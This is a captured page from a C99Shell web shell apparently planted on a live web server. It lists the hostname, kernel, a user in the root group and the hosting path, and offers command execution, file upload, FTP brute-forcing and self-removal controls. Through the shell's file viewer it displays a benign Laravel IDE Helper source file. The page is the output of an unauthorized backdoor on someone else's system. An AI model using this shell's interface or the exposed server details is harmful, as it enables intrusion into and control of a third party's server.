!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache. PHP/8.1.30 

uname -a: Linux server1.tuhinhossain.com 5.15.0-151-generic #161-Ubuntu SMP Tue Jul 22 14:25:40 UTC
2025 x86_64
 

uid=1002(picotech) gid=1003(picotech) groups=1003(picotech),0(root)  

Safe-mode: OFF (not secure)

/home/picotech/domains/smm.picotech.app/public_html/vendor/barryvdh/laravel-ide-helper/src/Console/   drwxr-xr-x
Free 28.54 GB of 117.98 GB (24.19%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     GeneratorCommand.php (4.78 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

/**
 * Laravel IDE Helper Generator
 *
 * @author    Barry vd. Heuvel <barryvdh@gmail.com>
 * @copyright 2014 Barry vd. Heuvel / Fruitcake Studio (http://www.fruitcakestudio.nl)
 * @license   http://www.opensource.org/licenses/mit-license.php MIT
 * @link      https://github.com/barryvdh/laravel-ide-helper
 */

namespace Barryvdh\LaravelIdeHelper\Console;

use 
Barryvdh\LaravelIdeHelper\Eloquent;
use 
Barryvdh\LaravelIdeHelper\Generator;
use 
Illuminate\Console\Command;
use 
Illuminate\Filesystem\Filesystem;
use 
Symfony\Component\Console\Input\InputArgument;
use 
Symfony\Component\Console\Input\InputOption;

/**
 * A command to generate autocomplete information for your IDE
 *
 * @author Barry vd. Heuvel <barryvdh@gmail.com>
 */
class GeneratorCommand extends Command
{
    
/**
     * The console command name.
     *
     * @var string
     */
    
protected $name 'ide-helper:generate';

    
/**
     * The console command description.
     *
     * @var string
     */
    
protected $description 'Generate a new IDE Helper file.';

    
/** @var \Illuminate\Config\Repository */
    
protected $config;

    
/** @var \Illuminate\Filesystem\Filesystem */
    
protected $files;

    
/** @var \Illuminate\View\Factory */
    
protected $view;

    protected 
$onlyExtend;


    
/**
     *
     * @param \Illuminate\Config\Repository $config
     * @param \Illuminate\Filesystem\Filesystem $files
     * @param \Illuminate\View\Factory $view
     */
    
public function __construct(
        
/*ConfigRepository */
        
$config,
        
Filesystem $files,
        
/* Illuminate\View\Factory */
        
$view
    
) {
        
$this->config $config;
        
$this->files $files;
        
$this->view $view;
        
parent::__construct();
    }

    
/**
     * Execute the console command.
     *
     * @return void
     */
    
public function handle()
    {
        if (
            
file_exists(base_path() . '/vendor/compiled.php') ||
            
file_exists(base_path() . '/bootstrap/cache/compiled.php') ||
            
file_exists(base_path() . '/storage/framework/compiled.php')
        ) {
            
$this->error(
                
'Error generating IDE Helper: first delete your compiled file (php artisan clear-compiled)'
            
);
            return;
        }

        
$filename $this->argument('filename');

        
// Add the php extension if missing
        // This is a backwards-compatible shim and can be removed in the future
        
if (substr($filename, -44) !== '.php') {
            
$filename .= '.php';
        }

        if (
$this->option('memory')) {
            
$this->useMemoryDriver();
        }


        
$helpers '';
        if (
$this->option('helpers') || ($this->config->get('ide-helper.include_helpers'))) {
            foreach (
$this->config->get('ide-helper.helper_files', []) as $helper) {
                if (
file_exists($helper)) {
                    
$helpers .= str_replace(['<?php''?>'], ''$this->files->get($helper));
                }
            }
        } else {
            
$helpers '';
        }

        
$generator = new Generator($this->config$this->view$this->getOutput(), $helpers);
        
$content $generator->generate();
        
$written $this->files->put($filename$content);

        if (
$written !== false) {
            
$this->info("A new helper file was written to $filename");

            if (
$this->option('write_mixins')) {
                
Eloquent::writeEloquentModelHelper($this$this->files);
            }
        } else {
            
$this->error("The helper file could not be created at $filename");
        }
    }

    protected function 
useMemoryDriver()
    {
        
//Use a sqlite database in memory, to avoid connection errors on Database facades
        
$this->config->set(
            
'database.connections.sqlite',
            [
                
'driver' => 'sqlite',
                
'database' => ':memory:',
            ]
        );
        
$this->config->set('database.default''sqlite');
    }

    
/**
     * Get the console command arguments.
     *
     * @return array
     */
    
protected function getArguments()
    {
        
$filename $this->config->get('ide-helper.filename');

        return [
            [
                
'filename'InputArgument::OPTIONAL'The path to the helper file'$filename,
            ],
        ];
    }

    
/**
     * Get the console command options.
     *
     * @return array
     */
    
protected function getOptions()
    {
        
$writeMixins $this->config->get('ide-helper.write_eloquent_model_mixins');

        return [
            [
'write_mixins''W'InputOption::VALUE_OPTIONAL'Write mixins to Laravel Model?'$writeMixins],
            [
'helpers''H'InputOption::VALUE_NONE'Include the helper files'],
            [
'memory''M'InputOption::VALUE_NONE'Use sqlite memory driver'],
        ];
    }
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0049 ]--